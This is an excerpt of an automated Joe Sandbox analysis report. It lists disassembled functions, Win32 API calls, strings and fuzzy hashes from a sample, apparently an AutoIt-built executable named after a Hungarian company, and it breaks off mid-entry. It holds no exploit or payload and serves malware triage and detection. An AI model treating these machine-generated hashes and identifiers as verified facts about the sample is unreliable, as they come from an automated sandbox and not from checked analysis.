                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InfoItemMenu_memset
                                                              • String ID: 0
                                                              • API String ID: 2223754486-4108050209
                                                              • Opcode ID: 630108ba3d0a90fc93bd99f141a7be55e98bf400ba42e82aa4c968a68e1e2871
                                                              • Instruction ID: 749abf731f3d76ad8b0dce0ed6c5e0d2b151e1e4846282f6c1177b5da7281387
                                                              • Opcode Fuzzy Hash: 630108ba3d0a90fc93bd99f141a7be55e98bf400ba42e82aa4c968a68e1e2871
                                                              • Instruction Fuzzy Hash: E531C331600305BBEF24EF58E845BAEBBB8EF45360F144029E985B61A2D778A946CB51
                                                              Function 007B66D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 007B6761
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 007B676C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: Combobox
                                                              • API String ID: 3850602802-2096851135
                                                              • Opcode ID: 2aada866b9bdda84836ccb94be739d5519668ea043377ccbb8e2e78fa724ab38
                                                              • Instruction ID: 5da27aac6a06a8d0e12725727922702e6f5ee4a6522c125ceec7679151aa0ecd
                                                              • Opcode Fuzzy Hash: 2aada866b9bdda84836ccb94be739d5519668ea043377ccbb8e2e78fa724ab38
                                                              • Instruction Fuzzy Hash: 39118275310208AFEF219F55CC85FFB376AEB48768F114129FA1497290DA7D9C5187A0
                                                              Function 007B6C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00731D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00731D73
                                                                • Part of subcall function 00731D35: GetStockObject.GDI32(00000011), ref: 00731D87
                                                                • Part of subcall function 00731D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00731D91
                                                              • GetWindowRect.USER32(00000000,?), ref: 007B6C71
                                                              • GetSysColor.USER32(00000012), ref: 007B6C8B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                              • String ID: static
                                                              • API String ID: 1983116058-2160076837
                                                              • Opcode ID: 77433445b5fe2328b3ae4773c1b2d609ea81a66faef96fbef22da0248dd4d34c
                                                              • Instruction ID: ee9f28906396df6a416858942ee017c324d360d13f364370ab34998e0942bd39
                                                              • Opcode Fuzzy Hash: 77433445b5fe2328b3ae4773c1b2d609ea81a66faef96fbef22da0248dd4d34c
                                                              • Instruction Fuzzy Hash: 1521E472610209AFDB14DFA8CC45EFA7BA8FB08714F114A29FE95D2250D639E861DB60
                                                              Function 007B6920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowTextLengthW.USER32(00000000), ref: 007B69A2
                                                              • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 007B69B1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LengthMessageSendTextWindow
                                                              • String ID: edit
                                                              • API String ID: 2978978980-2167791130
                                                              • Opcode ID: 0fd623b6f6cfe9bf94a9c711ae6e806a3d089149aa344ea6f5b48f42c92aae01
                                                              • Instruction ID: 35fb74d80b2fb57e3f0d89e7b0a333ecadb8f5cb2df4ee475d7a08eef8168859
                                                              • Opcode Fuzzy Hash: 0fd623b6f6cfe9bf94a9c711ae6e806a3d089149aa344ea6f5b48f42c92aae01
                                                              • Instruction Fuzzy Hash: A6116A71110208ABEB108E64DC44FEB37A9EB05378F604728FAA5961E0C77DEC509B60
                                                              Function 007929AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00792A22
                                                              • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00792A41
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InfoItemMenu_memset
                                                              • String ID: 0
                                                              • API String ID: 2223754486-4108050209
                                                              • Opcode ID: 632f668c548e5cd3205ad99bf4b640fc45fda6b80a8dfa25510964d35e4014d5
                                                              • Instruction ID: ef6c92b632c94a063c034204230c7abd9de0d9961481e77712a24baf5d20a69c
                                                              • Opcode Fuzzy Hash: 632f668c548e5cd3205ad99bf4b640fc45fda6b80a8dfa25510964d35e4014d5
                                                              • Instruction Fuzzy Hash: 9B11AF33901114BACF30EA58E844FAE77B8EB46310F048021ED55A72A2D778AD0BC795
                                                              Function 007A21D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 007A222C
                                                              • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 007A2255
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Internet$OpenOption
                                                              • String ID: <local>
                                                              • API String ID: 942729171-4266983199
                                                              • Opcode ID: ffd6e4d156bf1745d2cc18a76a3d97da5c50d20ffa57a9e7733f59dce284787f
                                                              • Instruction ID: 204f6a4f9efa336f2aacf032dd64f7d75b272576298341330b649b3759247e42
                                                              • Opcode Fuzzy Hash: ffd6e4d156bf1745d2cc18a76a3d97da5c50d20ffa57a9e7733f59dce284787f
                                                              • Instruction Fuzzy Hash: 26110270501225BADB248F19CC88FBBFBA8FF87751F10832AFA0446081D2789882D6F0
                                                              Function 00788E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00788E73
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: eff12e843f57fd9c88bfd5b84777170233aafab9bc6ec1a522a6f427b9e6fae7
                                                              • Instruction ID: 92e5fdd9425e28c865309f9047f0218e84e7faed19087f05278990e4203ec27d
                                                              • Opcode Fuzzy Hash: eff12e843f57fd9c88bfd5b84777170233aafab9bc6ec1a522a6f427b9e6fae7
                                                              • Instruction Fuzzy Hash: D001F5B1641218EB9B18FBA0CC49DFE7368EF05320B440619F831672D2DE395808C751
                                                              Function 00798D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __fread_nolock_memmove
                                                              • String ID: EA06
                                                              • API String ID: 1988441806-3962188686
                                                              • Opcode ID: bb7aedae5af9cadd32b4fad7f3d32121c1cb7515e7a64852f28a50f866828c19
                                                              • Instruction ID: 275f6a80bb87dad074220a965a4b6724e9250142242f0fb0fe4b94be2ebf2469
                                                              • Opcode Fuzzy Hash: bb7aedae5af9cadd32b4fad7f3d32121c1cb7515e7a64852f28a50f866828c19
                                                              • Instruction Fuzzy Hash: 2401F971D04258BEDF58CAA8C81AEEE7BF8DB15301F00419EF552D2181E8B8E60887A0
                                                              Function 00788CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,00000180,00000000,?), ref: 00788D6B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: 7a5b42c6195362d5e4027c926929622e4985509a69c19be413f3e0f5d6c67442
                                                              • Instruction ID: c27d9cf419cb9a77e5cbdbeb925def1f2ce28fed3ee8c2739737a33f029aa064
                                                              • Opcode Fuzzy Hash: 7a5b42c6195362d5e4027c926929622e4985509a69c19be413f3e0f5d6c67442
                                                              • Instruction Fuzzy Hash: 8E01B5B1781108EBDB18F7A0CD5AEFE73A89F19300F540015B80163192DE185A08D372
                                                              Function 00788D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,00000182,?,00000000), ref: 00788DEE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: 005e3ab4ed776640aac624ad9b345d4d8ecf6371655a01f8455bdcc13231165e
                                                              • Instruction ID: e1f091dee556067370e3e9df797ea05edf9ca6509c3c65a5d11eeb80a42468b3
                                                              • Opcode Fuzzy Hash: 005e3ab4ed776640aac624ad9b345d4d8ecf6371655a01f8455bdcc13231165e
                                                              • Instruction Fuzzy Hash: 5A0184B1B81109F7EB19F6A4CD4AEFE77A89B15300F544016B80563292DA1D5E08D372
                                                              Function 0078C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 0078C534
                                                                • Part of subcall function 0078C816: _memmove.LIBCMT ref: 0078C860
                                                                • Part of subcall function 0078C816: VariantInit.OLEAUT32(00000000), ref: 0078C882
                                                                • Part of subcall function 0078C816: VariantCopy.OLEAUT32(00000000,?), ref: 0078C88C
                                                              • VariantClear.OLEAUT32(?), ref: 0078C556
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$Init$ClearCopy_memmove
                                                              • String ID: d}~
                                                              • API String ID: 2932060187-2645811566
                                                              • Opcode ID: 697fa1864a5fbc0e7906c88fdd8668794a08993f6818f2e964c55b9b8b52dc7a
                                                              • Instruction ID: 40317f3eaef356967a1054d9af35406a7f3e4f12f31c0e069910e79ab0d618f8
                                                              • Opcode Fuzzy Hash: 697fa1864a5fbc0e7906c88fdd8668794a08993f6818f2e964c55b9b8b52dc7a
                                                              • Instruction Fuzzy Hash: 41110CB19007089FC710DFAAD88499BF7F8FF08710B50862EE58AD7611E775AA45CF90
                                                              Function 00756B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __calloc_crt
                                                              • String ID: ~
                                                              • API String ID: 3494438863-2703998100
                                                              • Opcode ID: 12d205667c5604b8dc3177fd0380041b8400442b28a87740338f2ff346b3264a
                                                              • Instruction ID: bf4a10a7bb512637178e38d8e6d74e7487159a292fa47a1e87796414c55b0843
                                                              • Opcode Fuzzy Hash: 12d205667c5604b8dc3177fd0380041b8400442b28a87740338f2ff346b3264a
                                                              • Instruction Fuzzy Hash: A2F0A4F1209A128BF7648F55FC51BE22B94F704731BB0452AEA00DF185EBBC88498688
                                                              Function 00794F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassName_wcscmp
                                                              • String ID: #32770
                                                              • API String ID: 2292705959-463685578
                                                              • Opcode ID: 5951bc004b613644a2ee84baaefab6f04b77b874753652627b4ba18f15cc9a26
                                                              • Instruction ID: 24c40125398abdfc5f9c447d5f3d4ee62786a0b2828a490574f2f3b381a2020b
                                                              • Opcode Fuzzy Hash: 5951bc004b613644a2ee84baaefab6f04b77b874753652627b4ba18f15cc9a26
                                                              • Instruction Fuzzy Hash: 1AE06832A0032C2BE720ABA9AC09FB7F7ACEB44B70F000067FC04D3050E9649A15C7E1
                                                              Function 0076B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0076B314: _memset.LIBCMT ref: 0076B321
                                                                • Part of subcall function 00750940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0076B2F0,?,?,?,0073100A), ref: 00750945
                                                              • IsDebuggerPresent.KERNEL32(?,?,?,0073100A), ref: 0076B2F4
                                                              • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0073100A), ref: 0076B303
                                                              Strings
                                                              • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0076B2FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                                              • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                              • API String ID: 3158253471-631824599
                                                              • Opcode ID: 309a1bad2188defd7dc55977952f07fbe31c7390e1a1e53b093e747dd23c780a
                                                              • Instruction ID: a6917a37dc0cda83179acd7de2a5a62677594bef86e60ce5fc308a0c0e155126
                                                              • Opcode Fuzzy Hash: 309a1bad2188defd7dc55977952f07fbe31c7390e1a1e53b093e747dd23c780a
                                                              • Instruction Fuzzy Hash: 22E0C9B06007118AD7219F29D9087467BE4FF55714F008A6DE856C7752E7BCA445CBA1
                                                              Function 00787C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00787C82
                                                                • Part of subcall function 00753358: _doexit.LIBCMT ref: 00753362
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Message_doexit
                                                              • String ID: AutoIt$Error allocating memory.
                                                              • API String ID: 1993061046-4017498283
                                                              • Opcode ID: 66ae55100dc9196e6c96f58723d00923c829dfa7364b1e557d3796bee3f0083b
                                                              • Instruction ID: 5689b620429ef7e155621447232b3e990d2f211a35a4a09d021f76bad6df42c9
                                                              • Opcode Fuzzy Hash: 66ae55100dc9196e6c96f58723d00923c829dfa7364b1e557d3796bee3f0083b
                                                              • Instruction Fuzzy Hash: 5CD02B323C431872D11932B66C0BFCA7B484F05F53F10042AFF04590D349DE848082F8
                                                              Function 00771935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSystemDirectoryW.KERNEL32(?), ref: 00771775
                                                                • Part of subcall function 007ABFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0077195E,?), ref: 007ABFFE
                                                                • Part of subcall function 007ABFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 007AC010
                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0077196D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                                              • String ID: WIN_XPe
                                                              • API String ID: 582185067-3257408948
                                                              • Opcode ID: 1dec5e7e9174805ef6aa197b34de39c1fa1ac3251d8f6d6a218626870426e577
                                                              • Instruction ID: 3f71a86aea3b930866ed074c318ed2674258bd1e694aeb0d8d36a63464de89c0
                                                              • Opcode Fuzzy Hash: 1dec5e7e9174805ef6aa197b34de39c1fa1ac3251d8f6d6a218626870426e577
                                                              • Instruction Fuzzy Hash: 7AF03970800008DFDF19DBA8CD88BECBBF8AB18340F948095E006A20A1C7394F84CFA4
                                                              Function 007B5964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007B596E
                                                              • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 007B5981
                                                                • Part of subcall function 00795244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007952BC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
